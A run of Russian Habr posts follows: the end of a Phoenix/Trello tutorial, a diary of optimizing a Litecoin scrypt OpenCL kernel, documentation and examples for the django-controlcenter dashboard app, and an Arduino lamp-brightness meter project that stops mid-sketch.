case Constants.SESSIONS_ERROR:
return { ...state, error: action.error };
default:
return state;
}
}
```
Основная причина хранить эти объекты заключается в том, что они понадобятся нам во многих местах, так что хранение в состоянии (state) делает их доступными компонентам через свойства (`props`).
После аутентификации пользователя, подключения к сокету и присоединения к каналу, `AuthenticatedContainer` отрисует представление `HomeIndexView`, где мы покажем все доски, принадлежащие пользователю, равно как и те, куда он был приглашён в качестве участника. В следующей части мы раскроем, как создать новую доску и пригласить существующих пользователей, используя каналы для передачи результирующих данных вовлечёнными пользователям.
А пока не забудьте взглянуть на [живое демо](https://phoenix-trello.herokuapp.com/) и [исходный код](https://github.com/bigardone/phoenix-trello) конечного результата. | https://habr.com/ru/post/308248/ | null | ru | null |
# Оптимизация майнинга лайткоинов
Всем привет! Я решил рассказать вам о том, как оптимизировал алгоритм майнинга лайткоинов. А представлю я свой рассказ в форме дневника.
День 0: Наткнулся на [топик](https://bitcointalk.org/index.php?topic=22965.0), где некий bitless поделился с сообществом способом ускорить майнинг на несколько процентов. Спросил себя: чем я хуже него? Приступил к анализу кода.
День 1: Вспоминаю синтаксис, нахожу информацию о функциях OpenCL'а.
День 2: Наткнулся на очень странные строчки кода:
```
#define Coord(x,y,z) x+y*(x ## SIZE)+z*(y ## SIZE)*(x ## SIZE)
#define CO Coord(z,x,y)
```
Подставил первую сточку во вторую, получил
```
#define CO z+x*zSIZE+y*xSIZE*zSIZE
```
Зачем было городить огород — мне не понятно, к тому-же в функции scrypt\_core нашлась неиспользуемая переменная ySIZE.
Так же в функции search нашел многократные использования i\*2, заменил на rotl(i,1U). Прироста производительности это не дало, но пусть будет.
День 3: Понял, что мой единственный шанс что-то оптимизировать, при текущем уровне знаний — помочь компилятору с «CO», ведь при настройках по умолчанию, z+x\*zSIZE+y\*xSIZE\*zSIZE считается 8704 раза. Скорее всего, компилятор как-то оптимизирует эти вычисления, но это не мешает ему немножко помочь :) К тому-же zSIZE — константа, равная 8, а xSIZE — константа, получаемая из настроек программы.
Начал исследовать первый цикл, в котором используется «CO»:
```
for(uint y=0; y<1024/LOOKUP_GAP; ++y)
{
#pragma unroll
for(uint z=0; z
```
Видно, что x\*zSIZE — константа, поскольку x не меняется в ходе выполнения цикла. Так же очевидно, что y увеличивается на 1 с каждой итерацией цикла.
Понимая это, напрашивается создание переменной CO, в которой изначально будет хранится x\*zSIZE, а с каждой итерацией цикла, в нее будет добавляться xSIZE\*zSIZE.
А, чтобы переменная z нам не мешала, создадим внутри цикла локальную переменную, к которой и будем прибавлять по единице после каждой итерации внутреннего цикла.
Помимо вышеозначенной причины, это может позволить компилятору запихнуть эту переменную в регистр, что тоже должно ускорить процесс.
В итоге получился следующий код:
```
uint CO=rotl(x,3U);// x*zSIZE
uint CO_tmp=rotl(xSIZE,3U);//xSIZE*zSIZE
for(uint y=0; y<1024/LOOKUP_GAP; ++y, CO+=CO_tmp)
{
uint CO_reg=CO;
#pragma unroll
for(uint z=0; z
```
День 4: Анализирую следующие использования «CO». Код в препроцессоре пропускаю, поскольку там оно используется только один раз.
```
for (uint i=0; i<1024; ++i)
{
uint4 V[8];
uint j = X[7].x & K[85];//K[85]=0x000003FFU
uint y = (j/LOOKUP_GAP);
#pragma unroll
for(uint z=0; z
```
Видно, что y меняется по довольно сложному алгоритму, предугадать значение этой переменной получится вряд ли.
Поэтому все, что я могу — посчитать заранее x\*zSIZE и xSIZE\*zSIZE.
```
CO_tmp=rotl(x,3U);
CO=rotl(xSIZE,3U);
for (uint i=0; i<1024; ++i)
{
uint4 V[8];
uint j = X[7].x & K[85];
uint y = (j/LOOKUP_GAP);
uint CO_reg=CO_tmp+CO*y;
for(uint z=0; z
```
День 5: Компилирую, и наблюдаю прирост на своей конфигурации ~3%. Перепроверив результаты несколько раз, привожу код в человеческий вид, оптимизирую код в препроцессорном участке так же, как во втором цикле, и убираю ранее сделанную замену i\*2 на rotl(i,1U).
После тестов «очищенного» кода результат меня удивляет — скорость стала существенно меньше, чем до начала моей оптимизации. Проведя небольшое расследование, я выяснил, что причина этому — возвращение обратно i\*2, вместо rotl(i,1U).
Казалось-бы, сама замена ничего не дает вообще ничего — проверял несколько раз, однако вместе с моими оптимизациями — увеличивает скорость.
Отправляю результаты моих трудов на почту Con Colivas'у.
День 12: Не дождавшись ответа в течение недели, выкладываю свои достижения и инструкции на официальный форум лайткоинов.
С несколькими людьми это сработало и действительно дало прирост скорости. Однако, в скором времени обнаружилась проблема — я проводил тесты с драйверами 13.4, а с более ранними версиями драйверов(и OpenCl) — скорость падает примерно на треть.
Поставил себе драйвера 13.1 (не без проблем — версия OpenCl понижаться не хотела вплоть до полной очистки системы от драйверов AMD и OpenCL), начинаю исследования.
День 13: Обнаружил, что падение производительности вызывает та самая загадочная замена i\*2 на rotl(i,1U). Но, убрав эту замену, скорость возвращается на начальный уровень.
Понимаю, что придется делать две версии оптимизаций: для 13.4, и для более старых версий драйверов.
Дни 13-40: Набрав себе добровольных тестеров, из числа тех, кто сообщал о неработающей оптимизации на 13.1 — начинаю работу.
В ходе тестов обнаруживаются железозависимые оптимизации, от которых я сразу отказываюсь(к таким относится, например, создание массива на 1024 элемента, в которых хранятся предпосчитанные значения y\*xSIZE\*zSIZE, для y=0..1023 — у меня оптимизация заработала, у тестеров нет), а так же нелинейное влияние частот на результаты некоторых оптимизаций: на моей 7850 при частотах [1000](http://habrahabr.ru/users/1000/)/1300, выдавались аномальные результаты, вроде ~340 килохешей в секунду при интенсивности 13(позволяет спокойно работать за компьютером, без подлагиваний в то время, когда видеокарта майнит), вместо ~200 килохешей в секунду без моей оптимизации и/или на других частотах.
Но, от таких оптимизаций пришлось отказаться(почти, для себя эту версию я сохранил).
Так же обнаружилось «магическое значение» настройки --thread-concurency, при которой скорость растет, равное 2^n+1, например 4097 или 16385. При любом другом значении скорость майнинга меньше.
Мои предположения — возможно, что умножение на 2^n+1 выполняется быстрее всего, но это не совсем логично, ведь умножение на 2^n — это простой битовый сдвиг влево, и, по идее, должен выполняться быстрее…
В итоге я пришел к следующему коду:
```
uint CO_tmp=xSIZE<<3U;//xSIZE*zSIZE
uint CO_tmp2=x<<3U;//x*zSIZE
for(uint y=0; y<1024/LOOKUP_GAP; ++y)
{
uint CO=y*CO_tmp+CO_tmp2;
#pragma unroll
for(uint z=0; z
```
Опубликовал версию для драйверов старее, чем 13.4 на том-же форуме, упомянул про «магическое значение» --thread-concurency. И счел свою работу завершенной.
Надеюсь, что знающие люди смогут рассказать мне, что происходит при замене i\*2 на rotl(i,1U), а так же природу «магического значения» параметра --thread-concurency.
Мой топик на форуме лайткоинов: [forum.litecoin.net/index.php?topic=4082.0](https://forum.litecoin.net/index.php?topic=4082.0)
P.S. все работы велись в файле scrypt.cl, входящем в комплект к любому майнеру, поддерживающему майнинг лайткоинов. | https://habr.com/ru/post/186664/ | null | ru | null |
# django-controlcenter
Всем привет, хочу поделиться своей небольшой разработкой — [django-controlcenter](https://github.com/byashimov/django-controlcenter). Это приложение для создания дешбоардов для вашего django-проекта.
Цель
----
[Django-admin](https://docs.djangoproject.com/en/1.9/ref/contrib/admin/) — отличный пример [CRUD](https://en.wikipedia.org/wiki/Create,_read,_update_and_delete) и невероятно полезное приложение. Вы подключаете модель, а затем видите табличку со всеми записями в базе. Потом вносите вторую, а затем третью и так далее. Со временем у вас набегает много таких табличек: с заказами, комментами, запросами, отзывами — и вы начинаете бегать туда-сюда между всеми ними по несколько раз на дню. А еще иногда хочется всяких графиков.
[Django-controlcenter](https://github.com/byashimov/django-controlcenter) появился как раз из-за подобной ситуации, когда требовалось регулярно проверять несколько моделей на новые записи и игнорировать их, или изменять, или удалять, и видеть динамику в графиках.
### Дисклеймер
Текущая версия не использует ajax, и по сути это даже не [CRUD](https://en.wikipedia.org/wiki/Create,_read,_update_and_delete), это только *Read*, но с расширенными возможностями.
Простой пример
--------------
Давайте начнем с небольшого примера:
```
# project/dashboard.py
from controlcenter import Dashboard, widgets
from project.app.models import Model
class ModelItemList(widgets.ItemList):
model = Model
list_display = ['pk', 'field']
class MyDashboard(Dashboard):
widgets = (
ModelItemList,
)
# project/settings.py
CONTROLCENTER_DASHBOARDS = [
'project.dashboards.MyDashboard'
]
```
Этот виджет выведет табличку в две колонки с 10 последними значениями (по-умолчанияю `ItemList` ограничен в выдаче, чтобы не порвать вам страницу).
Я использовал знакомые термины; в целом, виджет — это смесь [Views](https://docs.djangoproject.com/en/1.9/topics/http/views/) и [ModelAdmin](https://docs.djangoproject.com/en/1.9/ref/contrib/admin/#modeladmin-objects) в плане именования методов и атрибутов, и их поведения.
```
class ModelItemList(widgets.ItemList):
model = Model
queryset = model.active_objects.all()
list_display = ('pk', 'field', 'get_foo')
list_display_links = ('field', 'get_foo')
template_name = 'my_custom_template.html'
def get_foo(self, obj):
return 'foo'
get_foo.allow_tags = True
get_foo.short_description = 'Foo!'
```
Как видите, ничего нового. *Пока еще*.
Дисклеймер
----------
Дальше пойдет по сути документация, так что, если вам удобнее разбирать примеры, переходите сразу к ним.
Виджеты
-------
Основных виджета всего три: `Widget`, `ItemList` и `Chart`. Еще есть `Group`, но это не виджет, а обертка. Начнем с него.
### Group
Виджеты могут собираться в группы, тогда они будут переключаться по клику по заголовоку. Для группировки виджеты указываются списком/картежом или используется специальная обертка — `Group`.
```
class MyDashboard(Dashboard):
widgets = (
Foo,
(Bar, Baz),
Group((Egg, Spam), width=widgets.LARGE, height=300,
attrs={'class': 'my_class', 'data-foo': 'foo'}),
)
```
`Group` принимает три необязательных аргумента: `width`, `height`, `attrs`.
Важный момент: такой "составной" виджет получает высоту самого "высокого" в группе, поскольку, дизайн адаптивный и использует [Masonry](http://masonry.desandro.com/) — если не зафиксировать габариты блока, есть шанс получить забавный эффект, когда переключаясь между виджетами группы у вас будет перестраиваться весь дешбоард.
#### Group.width
Сетка дешбоарда адаптивна: до `768px` виджеты занимают всю ширину, затем `50%` или `100%`. От `1000px` используется 6-колонная сетка. Для удобства, значения хранятся в модуле `widgets`:
```
# controlcenter/widgets.py
MEDIUM = 2 # 33% или [x] + [x] + [x]
LARGE = 3 # 50% или [ x ] + [ x ]
LARGER = 4 # 66% или [ x ] + [x]
LARGEST = 6 # 100% или [ x ]
```
Промежуточные значения не особо полезны, но использовать их никто не запрещает.
#### Group.height
Изначально `None`, но получив интеджер, выставит виджету это значение как `max-height` и появится необязательный скролл.
`width` и `height` есть и у виджетов, в случае, если эти значения не указаны в `Group`, берется максимальное значение у виджетов в этой группе.
#### Group.attrs
Все, что захочется вписать в виджет как `html` атрибут. Можно даже задать `id`.
### Widget
Базовый виджет. Практически ничего не умеет. Но обладает одной полезностью: в момент создания оборачивает метод `values` (и `series`, `labels`, `legend` для чартов) в дескриптор [cached\_property](https://docs.djangoproject.com/en/1.9/ref/utils/#django.utils.functional.cached_property). Соответственно, значения доступны как при обращению к атрибуту (без вызова), а данные кешируются. Это просто небольшое удобство, поскольку приходится часто обращаться к этим методам. Например, для чартов делается такая штука:
```
def labels(self):
return [x for x, y in self.values]
def series(self):
return [y for x, y in self.values]
def values(self):
return self.get_queryset().values_list('label', 'series')
```
Еще с десяток раз это спросится в шаблонах, так что лучше сразу все закешировать.
#### Widget.title
Заголовок виджета. Если не задан, сформируется из названия класса.
#### Widget.width и Widget.height
Поведение аналогичное `Group` (см. выше).
#### Widget.model
Принимает [django.db.models.Model](https://docs.djangoproject.com/en/1.9/topics/db/models/).
#### Widget.get\_queryset
Поведение анологичное у [django.generic.views](https://docs.djangoproject.com/en/1.9/topics/http/views/):
* если есть `queryset`, вернет его.
* если есть `model`, вернет его дефолтного менеджера.
#### Widget.values и Widget.limit\_to
Вызывает `get_queryset`.
Поэтому, если у вас данные "где-то там", переписываем этот метод и забываем про `get_queryset`. Хоть из файла читайте. Также ограничивает кверисет по значению `limit_to`, если оно не равно `None`, вот так: `self.get_queryset()[:self.limit_to]`.
#### Widget.template\_name\_prefix
Директория с темплейтами.
#### Widget.template\_name
Имя темплейта.
#### Widget.get\_template\_name
Возвращает `Widget.template_name_prefix` + `Widget.template_name`.
### ItemList
Это самый сложный виджет и одновременно самый простой. Простой, потому что жует все, что не поподя: модели, словари, листы, [namedtuple](https://docs.python.org/2/library/collections.html#collections.namedtuple) — все, что поддается итерации или имеет доступ по ключу/атрибуту. Однако, есть особенности.
```
class ModelItemList(widgets.ItemList):
model = Model
queryset = model.objects.all()
list_display = ['pk', 'field']
```
#### ItemList.list\_display
Во время рендеринга шаблонов значения из элементов в `values` берутся по ключам из `list_display` (для моделей, словарей и namedtuple), для последовательностей индекс ключа равен индексу значения, грубо говоря `zip(list_display, values)`.
##### Нумерация строк
Добавьте `#` в `list_display` и получите нумерацию строк. Также "решетку" можно заменить на другой символ установив его в качестве значения в `settings.CONTROLCENTER_SHARP`.
#### ItemList.list\_display\_links
Поведение аналогичное [list\_display\_links](https://docs.djangoproject.com/en/1.9/ref/contrib/admin/#django.contrib.admin.ModelAdmin.list_display_links) в django.
#### Ссылка на редактирование объекта
`ItemList` пытается повесить ссылку на страницу редактирования объекта в админке, для этого ему нужен класс объекта и первичный ключ. Поэтому виджет будет искать эти данные везде: если `values` вернет инстанс модели, то вытянет все из него. Если `values` вернет словарь, список или [namedtuple](https://docs.python.org/2/library/collections.html#collections.namedtuple), то понадобится указать `ItemList.model`, потому что, понятно, больше не откуда. Во всех случаях виджет попытается найти `pk` или `id` самостоятельно, но в случае последовательностей это сделать не получится, поэтому виджет будет искать эти ключи в `list_display` сопоставляя его индекс с индексом значений последовательности.
Кстати, виджет понимает `deferred` модели, так что можно писать так: `queryset = Model.obejcts.defer('field')`.
Для работы этой фичи модель должна быть зарегистрирована в [django-admin](https://docs.djangoproject.com/en/1.9/ref/contrib/admin/).
#### Ссылка на changelist модели
Иногда недостаточно посмотреть на 10 последнийх значений и надо перейти на страницу модели. `ModelAdmin` строит такие пути самостоятельно. Но в виджет можно подставить все, что угодно в `queryset`, поэтому придется помочь. Вариантов несколько:
```
class ModelItemList(widgets.ItemList):
model = Model
# Ссылка на модель
changelist_url = model
# То же самое, но с фильтром и сортировкой
changelist_url = model, {'status__exact': 0, 'o': '-7.-1'}
# То же самое со строкой
changelist_url = model, 'status__exact=0&o=-7.-1'
# Или так
changelist_url = '/admin/model/'
changelist_url = 'http://www.yandex.ru'
```
Для работы этой фичи модель должна быть зарегистрирована в [django-admin](https://docs.djangoproject.com/en/1.9/ref/contrib/admin/).
#### ItemList.sortable
Для того, чтобы сортировать табличку, достаточно указать `sortable=True`, но помните, что джанга сортирует в базе, а виджет на стороне клиента, поэтому могут случаться казусы, например, если в столбце даты указаны в формате `dd.mm`. Используется библиотека [sortable.js](http://github.hubspot.com/sortable/docs/welcome/).
#### ItemList.method.allow\_tags и ItemList.method.short\_description
Поведение аналогичное джанговским [allow\_tags](https://docs.djangoproject.com/en/1.9/ref/contrib/admin/#django.contrib.admin.ModelAdmin.list_display) и [short\_description](https://docs.djangoproject.com/en/1.9/ref/contrib/admin/#django.contrib.admin.ModelAdmin.list_display).
#### ItemList.empty\_message
Выведет это значение, если `values` вернет пустой список.
#### ItemList.limit\_to
По-умолчанию имеет значение `10`, чтобы вы себе в ногу не выстрелили.
### Chart
Для графиков используется [Chartist](http://gionkunz.github.io/chartist-js/) — это небольшая библиотека… со своими особенностями. Она очень быстрая, просто мгновенная, я просто не мог пройти мимо.
Есть три типа чартов: `LINE`, `BAR`, `PIE`; и соответствующие к ним классы: `LineChart`, `BarChart`, `PieChart`. Плюс несколько дополнительных, об этом позже.
`Chart` определяет три дополнительных метода: `legend`, `lables`, `series`, которые еще и кешируются. Все три метода должны возвращать json-сериализуемый объект, к коим не относятся генераторы.
```
class MyChart(widgets.Chart):
def legend(self):
return []
def labels(self):
return []
def series(self):
return []
```
#### Chart.legend
Из коробки [Chartist](http://gionkunz.github.io/chartist-js/) не умеет показывать легенду, но без нее никак, поскольку чартист еще и не рисует значения на графике (да, есть такой момент). Легенда поможет в таких случаях.
#### Chart.labels
Значения на оси `x`. Должен возвращать последовательность, ни в коем случае не передавайте генератор.
#### Chart.series
Значения на оси `y`. Должен возвращать список списков, поскольку на графиках могут быть множественные данные. Опять же, никаких генераторов. Тут есть небольшая "готча", для типа `BAR` с одним типом значений передается "плоский" список, т.е. не вложенный, при этом устанавливается дополнительная опция для чартиста. Проще всего использовать `SingleBarChart` — в нем все настроено.
#### Chart.Chartist
`Chart` — это виджет с дополнительным классом `Chartist` внутри на манер `Meta` или `Media` в джанге.
```
class MyChart(Chart):
class Chartist:
klass = widgets.LINE
point_lables = True
options = {
'reverseData': True,
'axisY': {
'onlyInteger': True,
},
'fullWidth': True,
}
```
С той лишь разницей, что при использовании `Chartist` не нужно наследовать родительский класс, т.е. это как бы не классический python inheritance: вы пишете `class Chartist:`, а не `class Chartist(Parent.Chartist):` — поля наследуются автоматически. В наследующем классе переписываются все поля, кроме `options`, который склеивается с родительским, т.е. в дочернем классе можно написать только новые пары ключ/значение, а не `Parent.Chartist.options.copy().update({'foo': 'bar'})`. Конечно, у этого метода есть и обратная сторона: дефолтные значения, при необходимости, придется переписать.
Важно! Для `LineChart` установлено `'reverseData': True`, которое реверсирует значения `labels` и `series` на клиенте. Чаще всего этот тип чартов используется для отображения последних данных и, чтобы вам не пришлось в каждом первом чарте этим заниматься вручную, эта опция включена по-умолчанию.
##### Chart.Chartist.klass
Определяет тип чарта: `widgets.LINE`, `widgets.BAR`, `widgets.PIE`.
##### Chart.Chartist.point\_lables
Подлючается плугин к `Chartist`, который проставляет значения на графике. Это странно, но дефолтный чартист обходится без значений на самом графике. К сожалению, эта штука работает только с `widgets.LINE`. В остальных случаях поможет метод `legend`.
##### Chart.Chartist.options
Словарь, который целиком отправляется в джсон и передается конструктуру чартиста. Все опции описаны [на сайте](http://gionkunz.github.io/chartist-js/).
#### Дополнительные классы
В модуле `widgets` подготовлены еще несколько вспомогательных классов: `SingleLineChart`, `SingleBarChart`, `SinglePieChart` — для простых юзкейсов.
```
class BlogsChart(widgets.SingleBarChart):
model = Blog
values_list = ('name', 'score')
```
Ну, собсно, и все. Значения `name` пойдут в ось `x`, а `score` в ось `y`.
Dashboard
---------
Приложение поддерживает до 10 "панелей", которые доступны по адресу: `/admin/dashboards/[pk]/` — где `pk` индекс в списке `settings.CONTROLCENTER_DASHBOARDS`.
### Dashboard.widgets
Принимает список виджетов.
### Dashboard.title
Произвольный заголовок. Если не задан, будет сформирован из названия класса.
### Dashboard.Media
Класс [Media](https://docs.djangoproject.com/en/1.9/topics/forms/media/) из джанги.
Настройки
---------
```
# Список дешбоардов
CONTROLCENTER_DASHBOARDS = []
# Диез для нумерации строк в `ItemList`
CONTROLCENTER_SHARP = '#'
# Цвета для графиков. Используются дефолтные для `Chartist`,
# но еще я подготовил тему в цветах `Material Design`,
# подстваляем `material`.
CONTROLCENTER_CHARTIST_COLORS = 'default'
```
Примеры!
--------
Давайте сделаем все то же самое, что и на скриншоте.
Создадим проект, назовем его `pizzeria`, добавим в него приложение `pizza`.
### pizzeria.pizza.models
```
from __future__ import unicode_literals
from django.db import models
class Pizza(models.Model):
name = models.CharField(max_length=100, unique=True)
def __str__(self):
return self.name
class Restaurant(models.Model):
name = models.CharField(max_length=100, unique=True)
menu = models.ManyToManyField(Pizza, related_name='restaurants')
def __str__(self):
return self.name
class Order(models.Model):
created = models.DateTimeField(auto_now_add=True)
restaurant = models.ForeignKey(Restaurant, related_name='orders')
pizza = models.ForeignKey(Pizza, related_name='orders')
```
### Установка
```
pip install django-controlcenter
```
Внесем приложения в `pizzeria.settings`
```
INSTALLED_APPS = (
...
'controlcenter',
'pizza',
)
# Забегая вперед
CONTROLCENTER_DASHBOARDS = (
'pizzeria.dashboards.MyDashboard'
)
```
Добавим урлы в `pizzeria.urls`
```
from django.conf.urls import url
from django.contrib import admin
from controlcenter.views import controlcenter
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^admin/dashboard/', controlcenter.urls),
]
```
### Виджеты
В файле `pizzeria.dashboards` создадим виджеты:
```
import datetime
from collections import defaultdict
from controlcenter import app_settings, Dashboard, widgets
from controlcenter.widgets.core import WidgetMeta
from django.db.models import Count
from django.utils import timezone
from django.utils.timesince import timesince
from .pizza.models import Order, Pizza, Restaurant
class MenuWidget(widgets.ItemList):
# Этот виджет отображает список пицц, которые были
# проданы в конкретном ресторане. Мы будем его использовать
# как базовый, а позже размножим для всех ресторанов.
model = Pizza
list_display = ['name', 'ocount']
list_display_links = ['name']
# По-умолчанию, в ItemList выборка ограничена,
# чтобы вы случайно не вывели всю таблицу в маленькой рамочке.
limit_to = None
# Если виджет будет больше 300, появится скролл
height = 300
def get_queryset(self):
# Возвращает список пицц и подсчитывает заказы на сегодня
restaurant = super(MenuWidget, self).get_queryset().get()
today = timezone.now().date()
return (restaurant.menu
.filter(orders__created__gte=today)
.order_by('-ocount')
.annotate(ocount=Count('orders')))
class LatestOrdersWidget(widgets.ItemList):
# Виджет отображает последние 20 заказов
# в конкретном ресторане
model = Order
queryset = (model.objects
.select_related('pizza')
.filter(created__gte=timezone.now().date())
.order_by('pk'))
# Добавим `#` чтобы разнумеровать список
list_display = [app_settings.SHARP, 'pk', 'pizza', 'ago']
list_display_links = ['pk']
# Включим сортировку и выведем заголовки в таблице
sortable = True
# Отобразим последние 20
limit_to = 20
# Ограничим виджет по высоте
height = 300
# Дату красивенько
def ago(self, obj):
return timesince(obj.created)
RESTAURANTS = [
'Mama',
'Ciao',
'Sicilia',
]
# Используем мета-класс, чтобы построить виджеты.
# Можно, конечно, наследовать первый виджет и ручками определить классы.
# Напомню, конструктор принимает следующие аргументы:
# имя класса, наследуемые классы, атрибуты
menu_widgets = [WidgetMeta('{}MenuWidget'.format(name),
(MenuWidget,),
{'queryset': Restaurant.objects.filter(name=name),
# Произвольный заголовок
'title': name + ' menu',
# Ссылка на `changelist` модели с GET параметром
'changelist_url': (
Pizza, {'restaurants__name__exact': name})})
for name in RESTAURANTS]
latest_orders_widget = [WidgetMeta(
'{}LatestOrders'.format(name),
(LatestOrdersWidget,),
{'queryset': (LatestOrdersWidget
.queryset
.filter(restaurant__name=name)),
'title': name + ' orders',
'changelist_url': (
Order, {'restaurant__name__exact': name})})
for name in RESTAURANTS]
class RestaurantSingleBarChart(widgets.SingleBarChart):
# Строит бар-чарт по числу заказов
title = 'Most popular restaurant'
model = Restaurant
class Chartist:
options = {
# По-умолчанию, Chartist может использовать
# float как промежуточные значения, это ни к чему
'onlyInteger': True,
# Внутренние отступы чарта -- косметика
'chartPadding': {
'top': 24,
'right': 0,
'bottom': 0,
'left': 0,
}
}
def legend(self):
# Выводит в легенде значения оси `y`,
# поскольку, Chartist не рисует сами значения на графике
return self.series
def values(self):
queryset = self.get_queryset()
return (queryset.values_list('name')
.annotate(baked=Count('orders'))
.order_by('-baked')[:self.limit_to])
class PizzaSingleBarChart(RestaurantSingleBarChart):
# Наследует предыдущий виджет, поскольку,
# нам нужны те же настройки, кроме типа чарта
model = Pizza
limit_to = 3
title = 'Most popular pizza'
class Chartist:
# Заменяет тип чарта
klass = widgets.PIE
class OrderLineChart(widgets.LineChart):
# Отображает динамику продаж в ресторанах
# за последние 7 дней
title = 'Orders this week'
model = Order
limit_to = 7
# Зададим размерчик побольше
width = widgets.LARGER
class Chartist:
# Настройки чартиста -- косметика
options = {
'axisX': {
'labelOffset': {
'x': -24,
'y': 0
},
},
'chartPadding': {
'top': 24,
'right': 24,
}
}
def legend(self):
# В легенду пойдут названия ресторанов
return RESTAURANTS
def labels(self):
# По оси `x` дни
today = timezone.now().date()
labels = [(today - datetime.timedelta(days=x)).strftime('%d.%m')
for x in range(self.limit_to)]
return labels
def series(self):
# Мы берем даты из `labels`, а данные из базы, где они могут
# быть не полными, например, в какой-нибудь день заказов
# не окажется и это сломает график
series = []
for restaurant in self.legend:
# Нам нужно убедиться, что если нет значений
# за нужную дату, там будет стоять 0
item = self.values.get(restaurant, {})
series.append([item.get(label, 0) for label in self.labels])
return series
def values(self):
# Лимит помноженный на число ресторанов
limit_to = self.limit_to * len(self.legend)
queryset = self.get_queryset()
# Вот так в джанге можно сделать `GROUP BY` по двум полям:
# названию ресторана и даты.
# Order.created это datetime, а групировка нужня по дням,
# использем функцию `DATE` (sqlite3) для конвертации.
# К сожалению, ORM джанги так устроена, что сортировать
# мы должны по тому же полю
queryset = (queryset.extra({'baked':
'DATE(created)'})
.select_related('restaurant')
.values_list('restaurant__name', 'baked')
.order_by('-baked')
.annotate(ocount=Count('pk'))[:limit_to])
# Ключ -- ресторан, значение -- словарь дата:число_заказов
values = defaultdict(dict)
for restaurant, date, count in queryset:
# DATE в Sqlite3 возвращает стрингу YYYY-MM-DD
# А в чарте мы хотим видеть DD-MM
day_month = '{2}.{1}'.format(*date.split('-'))
values[restaurant][day_month] = count
return values
```
### Дешбоарды
[django-controlcenter](https://github.com/byashimov/django-controlcenter) поддерживает до 10 дешбоардов. Но мы создадим один в `pizzeria.dashboards`
```
class SimpleDashboard(Dashboard):
widgets = (
menu_widgets,
latest_orders_widget,
RestaurantSingleBarChart,
PizzaSingleBarChart,
OrderLineChart,
)
```
Вот и все, открываем `/admin/dashboard/0/`.
Совместимость
-------------
Тесты проводились на python 2.7.9, 3.4.3, 3.5.0 и django 1.8, 1.9.
```
Name Stmts Miss Cover
----------------------------------------------------------------------
controlcenter/__init__.py 1 0 100%
controlcenter/app_settings.py 27 0 100%
controlcenter/base.py 10 0 100%
controlcenter/dashboards.py 27 0 100%
controlcenter/templatetags/__init__.py 0 0 100%
controlcenter/templatetags/controlcenter_tags.py 109 0 100%
controlcenter/utils.py 16 0 100%
controlcenter/views.py 39 0 100%
controlcenter/widgets/__init__.py 2 0 100%
controlcenter/widgets/charts.py 67 0 100%
controlcenter/widgets/core.py 93 0 100%
----------------------------------------------------------------------
TOTAL 391 0 100%
_______________________________ summary ______________________________
py27-django18: commands succeeded
py27-django19: commands succeeded
py34-django18: commands succeeded
py34-django19: commands succeeded
py35-django18: commands succeeded
py35-django19: commands succeeded
```
Так же приложение замечательно дружит с [django-grappelli](https://github.com/sehmaschine/django-grappelli).
Документация
------------
Эту статью можно считать таковой, перевод на корявый английский я выполню в ближайшее время, как только разберусь со sphinx.
P.S. Я впервые решил заняться OSP и, надо признаться, больше потратил времени на разбирательства с дистрибьюцией, чем на сам код, и тем не менее я не до конца уверен, что все сделал правильно, поэтому буду признателен за любой фидбек.
P.P.S. Спасибо дизайнерам хабра за то, что заголовоки не отличить от текста, а инлайновый код никак не выделяется. Я постараюсь как можно быстрее написать доки, потому что статью читать невозможно. | https://habr.com/ru/post/278743/ | null | ru | null |
# Придумал и сделал прибор
Сегодня утром я не стал писать посты и тестировать лампочки, а занялся творчеством. Пару дней назад я «изобрёл» прибор, которого мне очень не хватало при тестировании ламп, и сегодня смог сделать его.
Прибор показывает изменение яркости в процентах по прошествии времени. Прежде всего он нужен мне в проекте lamptest.ru для измерения минимального напряжения, при котором горят лампы, не снижая яркость более, чем на 10%. Помимо информации о минимальном напряжении, которая пригодится тем, кто живёт в местах с не очень качественным электропитанием, где напряжение в сети может существенно снижаться (например, в сельских районах), это поможет сделать выводы о типе драйвера и качестве ламп.
Ещё прибор пригодится для анализа снижения яркости ламп по мере прогрева.
В левом верхнем углу экрана показывается текущее значение освещённости в люксах, в левом нижнем углу — исходное значение освещённости. В правом верхнем — какой процент составляет первое число от второго. Кнопка Select устанавливает исходное значение освещённости равное текущему.
Дополнительно сделал индикацию пульсации, но она весьма приблизительна. Я использую цифровой датчик света TSL2561, у него минимальное время интеграции 13 мс, а длительность одного полупериода сетевого напряжения — 10 мс. Я делаю 12 замеров подряд с надеждой, что какой-нибудь из них случайно попадёт на минимум яркости при пульсации, а какой-нибудь другой на максимум. Кнопкой Left можно сделать коррекцию внешнего освещения для расчёта пульсации, нажав её, когда исследуемая лампа выключена.
Вся конструкция состоит из трёх готовых модулей — [Arduino UNO R3](http://ali.pub/4lcxt), [LCD Keypad Shield](http://ali.pub/ckl3u), [MH-2561](http://ali.pub/qd73l) и и четырёх проводов.
**Скетч для Arduino**Скетч для Arduino:
```
#include
#include
#include
#include
//initialize LCD with the numbers of the interface pins
LiquidCrystal lcd(8, 9, 4, 5, 6, 7);
int start;
int lm;
int procent;
//Переменные из люксметра от samopal.pro
#define MAX\_UNITS 12
uint16\_t l\_min=0,l\_max=0,l=0,env=0;
int pulse = 0;
Adafruit\_TSL2561\_Unified tsl = Adafruit\_TSL2561\_Unified(TSL2561\_ADDR\_FLOAT, 12345);
void configureSensor(void)
{
tsl.setGain(TSL2561\_GAIN\_1X); /\* No gain ... use in bright light to avoid sensor saturation \*/
// tsl.setGain(TSL2561\_GAIN\_16X); /\* 16x gain ... use in low light to boost sensitivity \*/
// tsl.enableAutoRange(true); /\* Auto-gain ... switches automatically between 1x and 16x \*/
/\* Changing the integration time gives you better sensor resolution (402ms = 16-bit data) \*/
// tsl.setIntegrationTime(TSL2561\_INTEGRATIONTIME\_13MS); /\* fast but low resolution \*/
// tsl.setIntegrationTime(TSL2561\_INTEGRATIONTIME\_101MS); /\* medium resolution and speed \*/
tsl.setIntegrationTime(TSL2561\_INTEGRATIONTIME\_402MS); /\* 16-bit data but slowest conversions \*/
}
void setup(void)
{
// set up the LCD's number of columns and rows:
lcd.begin(16, 2);
Serial.begin(9600);
/\* Initialise the sensor \*/
if(!tsl.begin())
{
/\* There was a problem detecting the TSL2561 ... check your connections \*/
Serial.print("Ooops, no TSL2561 detected ... Check your wiring or I2C ADDR!");
while(1);
}
/\* Setup the sensor gain and integration time \*/
configureSensor();
// Записываем исходное значение
sensors\_event\_t event;
tsl.getEvent(&event);
start = event.light;
lcd.setCursor(0,1);
lcd.print(start);
}
void loop(void)
{
